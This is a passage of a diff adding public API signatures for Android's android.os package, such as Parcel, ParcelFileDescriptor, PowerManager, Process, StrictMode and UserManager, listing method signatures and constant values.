+    method @Nullable public java.util.HashMap readHashMap(@Nullable ClassLoader);
+    method public int readInt();
+    method public void readIntArray(@NonNull int[]);
+    method public void readList(@NonNull java.util.List, @Nullable ClassLoader);
+    method public long readLong();
+    method public void readLongArray(@NonNull long[]);
+    method public void readMap(@NonNull java.util.Map, @Nullable ClassLoader);
+    method @Nullable public <T extends android.os.Parcelable> T readParcelable(@Nullable ClassLoader);
+    method @Nullable public android.os.Parcelable[] readParcelableArray(@Nullable ClassLoader);
+    method @Nullable public android.os.Parcelable.Creator<?> readParcelableCreator(@Nullable ClassLoader);
+    method @NonNull public <T extends android.os.Parcelable> java.util.List<T> readParcelableList(@NonNull java.util.List<T>, @Nullable ClassLoader);
+    method @Nullable public android.os.PersistableBundle readPersistableBundle();
+    method @Nullable public android.os.PersistableBundle readPersistableBundle(@Nullable ClassLoader);
+    method @Nullable public java.io.Serializable readSerializable();
+    method @NonNull public android.util.Size readSize();
+    method @NonNull public android.util.SizeF readSizeF();
+    method @Nullable public <T> android.util.SparseArray<T> readSparseArray(@Nullable ClassLoader);
+    method @Nullable public android.util.SparseBooleanArray readSparseBooleanArray();
+    method @Nullable public String readString();
+    method public void readStringArray(@NonNull String[]);
+    method public void readStringList(@NonNull java.util.List<java.lang.String>);
+    method public android.os.IBinder readStrongBinder();
+    method public <T> void readTypedArray(@NonNull T[], @NonNull android.os.Parcelable.Creator<T>);
+    method public <T> void readTypedList(@NonNull java.util.List<T>, @NonNull android.os.Parcelable.Creator<T>);
+    method @Nullable public <T> T readTypedObject(@NonNull android.os.Parcelable.Creator<T>);
+    method @Nullable public Object readValue(@Nullable ClassLoader);
+    method public void recycle();
+    method public void setDataCapacity(int);
+    method public void setDataPosition(int);
+    method public void setDataSize(int);
+    method public void unmarshall(@NonNull byte[], int, int);
+    method public void writeArray(@Nullable Object[]);
+    method public void writeBinderArray(@Nullable android.os.IBinder[]);
+    method public void writeBinderList(@Nullable java.util.List<android.os.IBinder>);
+    method public void writeBoolean(boolean);
+    method public void writeBooleanArray(@Nullable boolean[]);
+    method public void writeBundle(@Nullable android.os.Bundle);
+    method public void writeByte(byte);
+    method public void writeByteArray(@Nullable byte[]);
+    method public void writeByteArray(@Nullable byte[], int, int);
+    method public void writeCharArray(@Nullable char[]);
+    method public void writeDouble(double);
+    method public void writeDoubleArray(@Nullable double[]);
+    method public void writeException(@NonNull Exception);
+    method public void writeFileDescriptor(@NonNull java.io.FileDescriptor);
+    method public void writeFloat(float);
+    method public void writeFloatArray(@Nullable float[]);
+    method public void writeInt(int);
+    method public void writeIntArray(@Nullable int[]);
+    method public void writeInterfaceToken(@NonNull String);
+    method public void writeList(@Nullable java.util.List);
+    method public void writeLong(long);
+    method public void writeLongArray(@Nullable long[]);
+    method public void writeMap(@Nullable java.util.Map);
+    method public void writeNoException();
+    method public void writeParcelable(@Nullable android.os.Parcelable, int);
+    method public <T extends android.os.Parcelable> void writeParcelableArray(@Nullable T[], int);
+    method public void writeParcelableCreator(@NonNull android.os.Parcelable);
+    method public <T extends android.os.Parcelable> void writeParcelableList(@Nullable java.util.List<T>, int);
+    method public void writePersistableBundle(@Nullable android.os.PersistableBundle);
+    method public void writeSerializable(@Nullable java.io.Serializable);
+    method public void writeSize(@NonNull android.util.Size);
+    method public void writeSizeF(@NonNull android.util.SizeF);
+    method public <T> void writeSparseArray(@Nullable android.util.SparseArray<T>);
+    method public void writeSparseBooleanArray(@Nullable android.util.SparseBooleanArray);
+    method public void writeString(@Nullable String);
+    method public void writeStringArray(@Nullable String[]);
+    method public void writeStringList(@Nullable java.util.List<java.lang.String>);
+    method public void writeStrongBinder(android.os.IBinder);
+    method public void writeStrongInterface(android.os.IInterface);
+    method public <T extends android.os.Parcelable> void writeTypedArray(@Nullable T[], int);
+    method public <T extends android.os.Parcelable> void writeTypedArrayMap(@Nullable android.util.ArrayMap<java.lang.String,T>, int);
+    method public <T extends android.os.Parcelable> void writeTypedList(@Nullable java.util.List<T>);
+    method public <T extends android.os.Parcelable> void writeTypedObject(@Nullable T, int);
+    method public <T extends android.os.Parcelable> void writeTypedSparseArray(@Nullable android.util.SparseArray<T>, int);
+    method public void writeValue(@Nullable Object);
+    field public static final android.os.Parcelable.Creator<java.lang.String> STRING_CREATOR;
+  }
+
+  public class ParcelFileDescriptor implements java.io.Closeable android.os.Parcelable {
+    ctor public ParcelFileDescriptor(android.os.ParcelFileDescriptor);
+    method public static android.os.ParcelFileDescriptor adoptFd(int);
+    method public boolean canDetectErrors();
+    method public void checkError() throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public void closeWithError(String) throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor[] createPipe() throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor[] createReliablePipe() throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor[] createReliableSocketPair() throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor[] createSocketPair() throws java.io.IOException;
+    method public int describeContents();
+    method public int detachFd();
+    method public static android.os.ParcelFileDescriptor dup(java.io.FileDescriptor) throws java.io.IOException;
+    method public android.os.ParcelFileDescriptor dup() throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor fromDatagramSocket(java.net.DatagramSocket);
+    method public static android.os.ParcelFileDescriptor fromFd(int) throws java.io.IOException;
+    method public static android.os.ParcelFileDescriptor fromSocket(java.net.Socket);
+    method public int getFd();
+    method public java.io.FileDescriptor getFileDescriptor();
+    method public long getStatSize();
+    method public static android.os.ParcelFileDescriptor open(java.io.File, int) throws java.io.FileNotFoundException;
+    method public static android.os.ParcelFileDescriptor open(java.io.File, int, android.os.Handler, android.os.ParcelFileDescriptor.OnCloseListener) throws java.io.IOException;
+    method public static int parseMode(String);
+    method @NonNull public static android.os.ParcelFileDescriptor wrap(@NonNull android.os.ParcelFileDescriptor, @NonNull android.os.Handler, @NonNull android.os.ParcelFileDescriptor.OnCloseListener) throws java.io.IOException;
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.ParcelFileDescriptor> CREATOR;
+    field public static final int MODE_APPEND = 33554432; // 0x2000000
+    field public static final int MODE_CREATE = 134217728; // 0x8000000
+    field public static final int MODE_READ_ONLY = 268435456; // 0x10000000
+    field public static final int MODE_READ_WRITE = 805306368; // 0x30000000
+    field public static final int MODE_TRUNCATE = 67108864; // 0x4000000
+    field @Deprecated public static final int MODE_WORLD_READABLE = 1; // 0x1
+    field @Deprecated public static final int MODE_WORLD_WRITEABLE = 2; // 0x2
+    field public static final int MODE_WRITE_ONLY = 536870912; // 0x20000000
+  }
+
+  public static class ParcelFileDescriptor.AutoCloseInputStream extends java.io.FileInputStream {
+    ctor public ParcelFileDescriptor.AutoCloseInputStream(android.os.ParcelFileDescriptor);
+  }
+
+  public static class ParcelFileDescriptor.AutoCloseOutputStream extends java.io.FileOutputStream {
+    ctor public ParcelFileDescriptor.AutoCloseOutputStream(android.os.ParcelFileDescriptor);
+  }
+
+  public static class ParcelFileDescriptor.FileDescriptorDetachedException extends java.io.IOException {
+    ctor public ParcelFileDescriptor.FileDescriptorDetachedException();
+  }
+
+  public static interface ParcelFileDescriptor.OnCloseListener {
+    method public void onClose(java.io.IOException);
+  }
+
+  public class ParcelFormatException extends java.lang.RuntimeException {
+    ctor public ParcelFormatException();
+    ctor public ParcelFormatException(String);
+  }
+
+  public final class ParcelUuid implements android.os.Parcelable {
+    ctor public ParcelUuid(java.util.UUID);
+    method public int describeContents();
+    method public static android.os.ParcelUuid fromString(String);
+    method public java.util.UUID getUuid();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.ParcelUuid> CREATOR;
+  }
+
+  public interface Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CONTENTS_FILE_DESCRIPTOR = 1; // 0x1
+    field public static final int PARCELABLE_WRITE_RETURN_VALUE = 1; // 0x1
+  }
+
+  public static interface Parcelable.ClassLoaderCreator<T> extends android.os.Parcelable.Creator<T> {
+    method public T createFromParcel(android.os.Parcel, ClassLoader);
+  }
+
+  public static interface Parcelable.Creator<T> {
+    method public T createFromParcel(android.os.Parcel);
+    method public T[] newArray(int);
+  }
+
+  public class PatternMatcher implements android.os.Parcelable {
+    ctor public PatternMatcher(String, int);
+    ctor public PatternMatcher(android.os.Parcel);
+    method public int describeContents();
+    method public final String getPath();
+    method public final int getType();
+    method public boolean match(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.PatternMatcher> CREATOR;
+    field public static final int PATTERN_ADVANCED_GLOB = 3; // 0x3
+    field public static final int PATTERN_LITERAL = 0; // 0x0
+    field public static final int PATTERN_PREFIX = 1; // 0x1
+    field public static final int PATTERN_SIMPLE_GLOB = 2; // 0x2
+    field public static final int PATTERN_SUFFIX = 4; // 0x4
+  }
+
+  public final class PerformanceHintManager {
+    method @Nullable public android.os.PerformanceHintManager.Session createHintSession(@NonNull int[], long);
+    method public long getPreferredUpdateRateNanos();
+  }
+
+  public static class PerformanceHintManager.Session implements java.io.Closeable {
+    method public void close();
+    method public void reportActualWorkDuration(long);
+    method public void updateTargetWorkDuration(long);
+  }
+
+  public final class PersistableBundle extends android.os.BaseBundle implements java.lang.Cloneable android.os.Parcelable {
+    ctor public PersistableBundle();
+    ctor public PersistableBundle(int);
+    ctor public PersistableBundle(android.os.PersistableBundle);
+    method public Object clone();
+    method public android.os.PersistableBundle deepCopy();
+    method public int describeContents();
+    method @Nullable public android.os.PersistableBundle getPersistableBundle(@Nullable String);
+    method public void putPersistableBundle(@Nullable String, @Nullable android.os.PersistableBundle);
+    method @NonNull public static android.os.PersistableBundle readFromStream(@NonNull java.io.InputStream) throws java.io.IOException;
+    method public void writeToParcel(android.os.Parcel, int);
+    method public void writeToStream(@NonNull java.io.OutputStream) throws java.io.IOException;
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.PersistableBundle> CREATOR;
+    field public static final android.os.PersistableBundle EMPTY;
+  }
+
+  public final class PowerManager {
+    method public void addThermalStatusListener(@NonNull android.os.PowerManager.OnThermalStatusChangedListener);
+    method public void addThermalStatusListener(@NonNull java.util.concurrent.Executor, @NonNull android.os.PowerManager.OnThermalStatusChangedListener);
+    method @Nullable public java.time.Duration getBatteryDischargePrediction();
+    method public int getCurrentThermalStatus();
+    method public int getLocationPowerSaveMode();
+    method public float getThermalHeadroom(@IntRange(from=0, to=60) int);
+    method public boolean isBatteryDischargePredictionPersonalized();
+    method public boolean isDeviceIdleMode();
+    method public boolean isIgnoringBatteryOptimizations(String);
+    method public boolean isInteractive();
+    method public boolean isPowerSaveMode();
+    method public boolean isRebootingUserspaceSupported();
+    method @Deprecated public boolean isScreenOn();
+    method public boolean isSustainedPerformanceModeSupported();
+    method public boolean isWakeLockLevelSupported(int);
+    method public android.os.PowerManager.WakeLock newWakeLock(int, String);
+    method @RequiresPermission(android.Manifest.permission.REBOOT) public void reboot(@Nullable String);
+    method public void removeThermalStatusListener(@NonNull android.os.PowerManager.OnThermalStatusChangedListener);
+    field public static final int ACQUIRE_CAUSES_WAKEUP = 268435456; // 0x10000000
+    field public static final String ACTION_DEVICE_IDLE_MODE_CHANGED = "android.os.action.DEVICE_IDLE_MODE_CHANGED";
+    field public static final String ACTION_POWER_SAVE_MODE_CHANGED = "android.os.action.POWER_SAVE_MODE_CHANGED";
+    field @Deprecated public static final int FULL_WAKE_LOCK = 26; // 0x1a
+    field public static final int LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF = 2; // 0x2
+    field public static final int LOCATION_MODE_FOREGROUND_ONLY = 3; // 0x3
+    field public static final int LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF = 1; // 0x1
+    field public static final int LOCATION_MODE_NO_CHANGE = 0; // 0x0
+    field public static final int LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF = 4; // 0x4
+    field public static final int ON_AFTER_RELEASE = 536870912; // 0x20000000
+    field public static final int PARTIAL_WAKE_LOCK = 1; // 0x1
+    field public static final int PROXIMITY_SCREEN_OFF_WAKE_LOCK = 32; // 0x20
+    field public static final int RELEASE_FLAG_WAIT_FOR_NO_PROXIMITY = 1; // 0x1
+    field @Deprecated public static final int SCREEN_BRIGHT_WAKE_LOCK = 10; // 0xa
+    field @Deprecated public static final int SCREEN_DIM_WAKE_LOCK = 6; // 0x6
+    field public static final int THERMAL_STATUS_CRITICAL = 4; // 0x4
+    field public static final int THERMAL_STATUS_EMERGENCY = 5; // 0x5
+    field public static final int THERMAL_STATUS_LIGHT = 1; // 0x1
+    field public static final int THERMAL_STATUS_MODERATE = 2; // 0x2
+    field public static final int THERMAL_STATUS_NONE = 0; // 0x0
+    field public static final int THERMAL_STATUS_SEVERE = 3; // 0x3
+    field public static final int THERMAL_STATUS_SHUTDOWN = 6; // 0x6
+  }
+
+  public static interface PowerManager.OnThermalStatusChangedListener {
+    method public void onThermalStatusChanged(int);
+  }
+
+  public final class PowerManager.WakeLock {
+    method public void acquire();
+    method public void acquire(long);
+    method public boolean isHeld();
+    method public void release();
+    method public void release(int);
+    method public void setReferenceCounted(boolean);
+    method public void setWorkSource(android.os.WorkSource);
+  }
+
+  public class Process {
+    ctor public Process();
+    method public static final long getElapsedCpuTime();
+    method public static final int[] getExclusiveCores();
+    method public static final int getGidForName(String);
+    method public static final long getStartElapsedRealtime();
+    method public static final long getStartUptimeMillis();
+    method public static final int getThreadPriority(int) throws java.lang.IllegalArgumentException;
+    method public static final int getUidForName(String);
+    method public static final boolean is64Bit();
+    method public static boolean isApplicationUid(int);
+    method public static final boolean isIsolated();
+    method public static final void killProcess(int);
+    method public static final int myPid();
+    method public static final int myTid();
+    method public static final int myUid();
+    method public static android.os.UserHandle myUserHandle();
+    method public static final void sendSignal(int, int);
+    method public static final void setThreadPriority(int, int) throws java.lang.IllegalArgumentException, java.lang.SecurityException;
+    method public static final void setThreadPriority(int) throws java.lang.IllegalArgumentException, java.lang.SecurityException;
+    method @Deprecated public static final boolean supportsProcesses();
+    field public static final int BLUETOOTH_UID = 1002; // 0x3ea
+    field public static final int FIRST_APPLICATION_UID = 10000; // 0x2710
+    field public static final int INVALID_UID = -1; // 0xffffffff
+    field public static final int LAST_APPLICATION_UID = 19999; // 0x4e1f
+    field public static final int PHONE_UID = 1001; // 0x3e9
+    field public static final int ROOT_UID = 0; // 0x0
+    field public static final int SHELL_UID = 2000; // 0x7d0
+    field public static final int SIGNAL_KILL = 9; // 0x9
+    field public static final int SIGNAL_QUIT = 3; // 0x3
+    field public static final int SIGNAL_USR1 = 10; // 0xa
+    field public static final int SYSTEM_UID = 1000; // 0x3e8
+    field public static final int THREAD_PRIORITY_AUDIO = -16; // 0xfffffff0
+    field public static final int THREAD_PRIORITY_BACKGROUND = 10; // 0xa
+    field public static final int THREAD_PRIORITY_DEFAULT = 0; // 0x0
+    field public static final int THREAD_PRIORITY_DISPLAY = -4; // 0xfffffffc
+    field public static final int THREAD_PRIORITY_FOREGROUND = -2; // 0xfffffffe
+    field public static final int THREAD_PRIORITY_LESS_FAVORABLE = 1; // 0x1
+    field public static final int THREAD_PRIORITY_LOWEST = 19; // 0x13
+    field public static final int THREAD_PRIORITY_MORE_FAVORABLE = -1; // 0xffffffff
+    field public static final int THREAD_PRIORITY_URGENT_AUDIO = -19; // 0xffffffed
+    field public static final int THREAD_PRIORITY_URGENT_DISPLAY = -8; // 0xfffffff8
+    field public static final int THREAD_PRIORITY_VIDEO = -10; // 0xfffffff6
+    field public static final int WIFI_UID = 1010; // 0x3f2
+  }
+
+  public abstract class ProxyFileDescriptorCallback {
+    ctor public ProxyFileDescriptorCallback();
+    method public void onFsync() throws android.system.ErrnoException;
+    method public long onGetSize() throws android.system.ErrnoException;
+    method public int onRead(long, int, byte[]) throws android.system.ErrnoException;
+    method public abstract void onRelease();
+    method public int onWrite(long, int, byte[]) throws android.system.ErrnoException;
+  }
+
+  public class RecoverySystem {
+    method @RequiresPermission("android.permission.RECOVERY") public static void installPackage(android.content.Context, java.io.File) throws java.io.IOException;
+    method public static void rebootWipeCache(android.content.Context) throws java.io.IOException;
+    method public static void rebootWipeUserData(android.content.Context) throws java.io.IOException;
+    method public static void verifyPackage(java.io.File, android.os.RecoverySystem.ProgressListener, java.io.File) throws java.security.GeneralSecurityException, java.io.IOException;
+  }
+
+  public static interface RecoverySystem.ProgressListener {
+    method public void onProgress(int);
+  }
+
+  public class RemoteCallbackList<E extends android.os.IInterface> {
+    ctor public RemoteCallbackList();
+    method public int beginBroadcast();
+    method public void finishBroadcast();
+    method public Object getBroadcastCookie(int);
+    method public E getBroadcastItem(int);
+    method public Object getRegisteredCallbackCookie(int);
+    method public int getRegisteredCallbackCount();
+    method public E getRegisteredCallbackItem(int);
+    method public void kill();
+    method public void onCallbackDied(E);
+    method public void onCallbackDied(E, Object);
+    method public boolean register(E);
+    method public boolean register(E, Object);
+    method public boolean unregister(E);
+  }
+
+  public class RemoteException extends android.util.AndroidException {
+    ctor public RemoteException();
+    ctor public RemoteException(String);
+    method @NonNull public RuntimeException rethrowAsRuntimeException();
+    method @NonNull public RuntimeException rethrowFromSystemServer();
+  }
+
+  public class ResultReceiver implements android.os.Parcelable {
+    ctor public ResultReceiver(android.os.Handler);
+    method public int describeContents();
+    method protected void onReceiveResult(int, android.os.Bundle);
+    method public void send(int, android.os.Bundle);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.ResultReceiver> CREATOR;
+  }
+
+  public final class SharedMemory implements java.io.Closeable android.os.Parcelable {
+    method public void close();
+    method @NonNull public static android.os.SharedMemory create(@Nullable String, int) throws android.system.ErrnoException;
+    method public int describeContents();
+    method public int getSize();
+    method @NonNull public java.nio.ByteBuffer map(int, int, int) throws android.system.ErrnoException;
+    method @NonNull public java.nio.ByteBuffer mapReadOnly() throws android.system.ErrnoException;
+    method @NonNull public java.nio.ByteBuffer mapReadWrite() throws android.system.ErrnoException;
+    method public boolean setProtect(int);
+    method public static void unmap(@NonNull java.nio.ByteBuffer);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.SharedMemory> CREATOR;
+  }
+
+  public class StatFs {
+    ctor public StatFs(String);
+    method @Deprecated public int getAvailableBlocks();
+    method public long getAvailableBlocksLong();
+    method public long getAvailableBytes();
+    method @Deprecated public int getBlockCount();
+    method public long getBlockCountLong();
+    method @Deprecated public int getBlockSize();
+    method public long getBlockSizeLong();
+    method @Deprecated public int getFreeBlocks();
+    method public long getFreeBlocksLong();
+    method public long getFreeBytes();
+    method public long getTotalBytes();
+    method public void restat(String);
+  }
+
+  public final class StrictMode {
+    method public static android.os.StrictMode.ThreadPolicy allowThreadDiskReads();
+    method public static android.os.StrictMode.ThreadPolicy allowThreadDiskWrites();
+    method public static void enableDefaults();
+    method public static android.os.StrictMode.ThreadPolicy getThreadPolicy();
+    method public static android.os.StrictMode.VmPolicy getVmPolicy();
+    method public static void noteSlowCall(String);
+    method public static void setThreadPolicy(android.os.StrictMode.ThreadPolicy);
+    method public static void setVmPolicy(android.os.StrictMode.VmPolicy);
+  }
+
+  public static interface StrictMode.OnThreadViolationListener {
+    method public void onThreadViolation(android.os.strictmode.Violation);
+  }
+
+  public static interface StrictMode.OnVmViolationListener {
+    method public void onVmViolation(android.os.strictmode.Violation);
+  }
+
+  public static final class StrictMode.ThreadPolicy {
+    field public static final android.os.StrictMode.ThreadPolicy LAX;
+  }
+
+  public static final class StrictMode.ThreadPolicy.Builder {
+    ctor public StrictMode.ThreadPolicy.Builder();
+    ctor public StrictMode.ThreadPolicy.Builder(android.os.StrictMode.ThreadPolicy);
+    method public android.os.StrictMode.ThreadPolicy build();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectAll();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectCustomSlowCalls();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectDiskReads();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectDiskWrites();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectNetwork();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectResourceMismatches();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder detectUnbufferedIo();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyDeath();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyDeathOnNetwork();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyDialog();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyDropBox();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyFlashScreen();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyListener(@NonNull java.util.concurrent.Executor, @NonNull android.os.StrictMode.OnThreadViolationListener);
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder penaltyLog();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitAll();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitCustomSlowCalls();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitDiskReads();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitDiskWrites();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitNetwork();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitResourceMismatches();
+    method @NonNull public android.os.StrictMode.ThreadPolicy.Builder permitUnbufferedIo();
+  }
+
+  public static final class StrictMode.VmPolicy {
+    field public static final android.os.StrictMode.VmPolicy LAX;
+  }
+
+  public static final class StrictMode.VmPolicy.Builder {
+    ctor public StrictMode.VmPolicy.Builder();
+    ctor public StrictMode.VmPolicy.Builder(android.os.StrictMode.VmPolicy);
+    method public android.os.StrictMode.VmPolicy build();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectActivityLeaks();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectAll();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectCleartextNetwork();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectContentUriWithoutPermission();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectCredentialProtectedWhileLocked();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectFileUriExposure();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectImplicitDirectBoot();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectIncorrectContextUse();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectLeakedClosableObjects();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectLeakedRegistrationObjects();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectLeakedSqlLiteObjects();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectNonSdkApiUsage();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectUnsafeIntentLaunch();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder detectUntaggedSockets();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyDeath();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyDeathOnCleartextNetwork();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyDeathOnFileUriExposure();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyDropBox();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyListener(@NonNull java.util.concurrent.Executor, @NonNull android.os.StrictMode.OnVmViolationListener);
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder penaltyLog();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder permitNonSdkApiUsage();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder permitUnsafeIntentLaunch();
+    method @NonNull public android.os.StrictMode.VmPolicy.Builder setClassInstanceLimit(Class, int);
+  }
+
+  public final class SystemClock {
+    method @NonNull public static java.time.Clock currentGnssTimeClock();
+    method public static long currentThreadTimeMillis();
+    method public static long elapsedRealtime();
+    method public static long elapsedRealtimeNanos();
+    method public static boolean setCurrentTimeMillis(long);
+    method public static void sleep(long);
+    method public static long uptimeMillis();
+  }
+
+  public class TestLooperManager {
+    method public void execute(android.os.Message);
+    method public android.os.MessageQueue getMessageQueue();
+    method public boolean hasMessages(android.os.Handler, Object, int);
+    method public boolean hasMessages(android.os.Handler, Object, Runnable);
+    method public android.os.Message next();
+    method public void recycle(android.os.Message);
+    method public void release();
+  }
+
+  public abstract class TokenWatcher {
+    ctor public TokenWatcher(android.os.Handler, String);
+    method public void acquire(android.os.IBinder, String);
+    method public abstract void acquired();
+    method public void cleanup(android.os.IBinder, boolean);
+    method public void dump();
+    method public void dump(java.io.PrintWriter);
+    method public boolean isAcquired();
+    method public void release(android.os.IBinder);
+    method public abstract void released();
+  }
+
+  public final class Trace {
+    method public static void beginAsyncSection(@NonNull String, int);
+    method public static void beginSection(@NonNull String);
+    method public static void endAsyncSection(@NonNull String, int);
+    method public static void endSection();
+    method public static boolean isEnabled();
+    method public static void setCounter(@NonNull String, long);
+  }
+
+  public class TransactionTooLargeException extends android.os.RemoteException {
+    ctor public TransactionTooLargeException();
+    ctor public TransactionTooLargeException(String);
+  }
+
+  public final class UserHandle implements android.os.Parcelable {
+    ctor public UserHandle(android.os.Parcel);
+    method public int describeContents();
+    method public static android.os.UserHandle getUserHandleForUid(int);
+    method public static android.os.UserHandle readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    method public static void writeToParcel(android.os.UserHandle, android.os.Parcel);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.UserHandle> CREATOR;
+  }
+
+  public class UserManager {
+    method public static android.content.Intent createUserCreationIntent(@Nullable String, @Nullable String, @Nullable String, @Nullable android.os.PersistableBundle);
+    method @WorkerThread public android.os.Bundle getApplicationRestrictions(String);
+    method public long getSerialNumberForUser(android.os.UserHandle);
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.CREATE_USERS"}) public int getUserCount();
+    method public long getUserCreationTime(android.os.UserHandle);
+    method public android.os.UserHandle getUserForSerialNumber(long);
+    method @NonNull @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", android.Manifest.permission.GET_ACCOUNTS_PRIVILEGED, "android.permission.CREATE_USERS"}, conditional=true) public String getUserName();
+    method public java.util.List<android.os.UserHandle> getUserProfiles();
+    method public android.os.Bundle getUserRestrictions();
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.INTERACT_ACROSS_USERS"}, conditional=true) public android.os.Bundle getUserRestrictions(android.os.UserHandle);
+    method public boolean hasUserRestriction(String);
+    method public boolean isDemoUser();
+    method public static boolean isHeadlessSystemUserMode();
+    method public boolean isManagedProfile();
+    method public boolean isQuietModeEnabled(android.os.UserHandle);
+    method public boolean isSystemUser();
+    method public boolean isUserAGoat();
+    method public boolean isUserForeground();
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.INTERACT_ACROSS_USERS"}, conditional=true) public boolean isUserRunning(android.os.UserHandle);
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.INTERACT_ACROSS_USERS"}, conditional=true) public boolean isUserRunningOrStopping(android.os.UserHandle);
+    method public boolean isUserUnlocked();
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.INTERACT_ACROSS_USERS"}, conditional=true) public boolean isUserUnlocked(android.os.UserHandle);
+    method @RequiresPermission(anyOf={"android.permission.MANAGE_USERS", "android.permission.MODIFY_QUIET_MODE"}, conditional=true) public boolean requestQuietModeEnabled(boolean, @NonNull android.os.UserHandle);
+    method public boolean requestQuietModeEnabled(boolean, @NonNull android.os.UserHandle, int);
+    method @Deprecated public boolean setRestrictionsChallenge(String);
+    method @Deprecated @RequiresPermission("android.permission.MANAGE_USERS") public void setUserRestriction(String, boolean);
+    method @Deprecated public void setUserRestrictions(android.os.Bundle);
+    method @Deprecated public void setUserRestrictions(android.os.Bundle, android.os.UserHandle);
+    method public static boolean supportsMultipleUsers();
+    field public static final String ALLOW_PARENT_PROFILE_APP_LINKING = "allow_parent_profile_app_linking";
+    field @Deprecated public static final String DISALLOW_ADD_MANAGED_PROFILE = "no_add_managed_profile";
+    field public static final String DISALLOW_ADD_USER = "no_add_user";
+    field public static final String DISALLOW_ADJUST_VOLUME = "no_adjust_volume";
+    field public static final String DISALLOW_AIRPLANE_MODE = "no_airplane_mode";
+    field public static final String DISALLOW_AMBIENT_DISPLAY = "no_ambient_display";
+    field public static final String DISALLOW_APPS_CONTROL = "no_control_apps";
+    field public static final String DISALLOW_AUTOFILL = "no_autofill";
+    field public static final String DISALLOW_BLUETOOTH = "no_bluetooth";
+    field public static final String DISALLOW_BLUETOOTH_SHARING = "no_bluetooth_sharing";
+    field public static final String DISALLOW_CAMERA_TOGGLE = "disallow_camera_toggle";
+    field public static final String DISALLOW_CONFIG_BLUETOOTH = "no_config_bluetooth";
+    field public static final String DISALLOW_CONFIG_BRIGHTNESS = "no_config_brightness";
+    field public static final String DISALLOW_CONFIG_CELL_BROADCASTS = "no_config_cell_broadcasts";
+    field public static final String DISALLOW_CONFIG_CREDENTIALS = "no_config_credentials";
+    field public static final String DISALLOW_CONFIG_DATE_TIME = "no_config_date_time";
+    field public static final String DISALLOW_CONFIG_LOCALE = "no_config_locale";
+    field public static final String DISALLOW_CONFIG_LOCATION = "no_config_location";
+    field public static final String DISALLOW_CONFIG_MOBILE_NETWORKS = "no_config_mobile_networks";
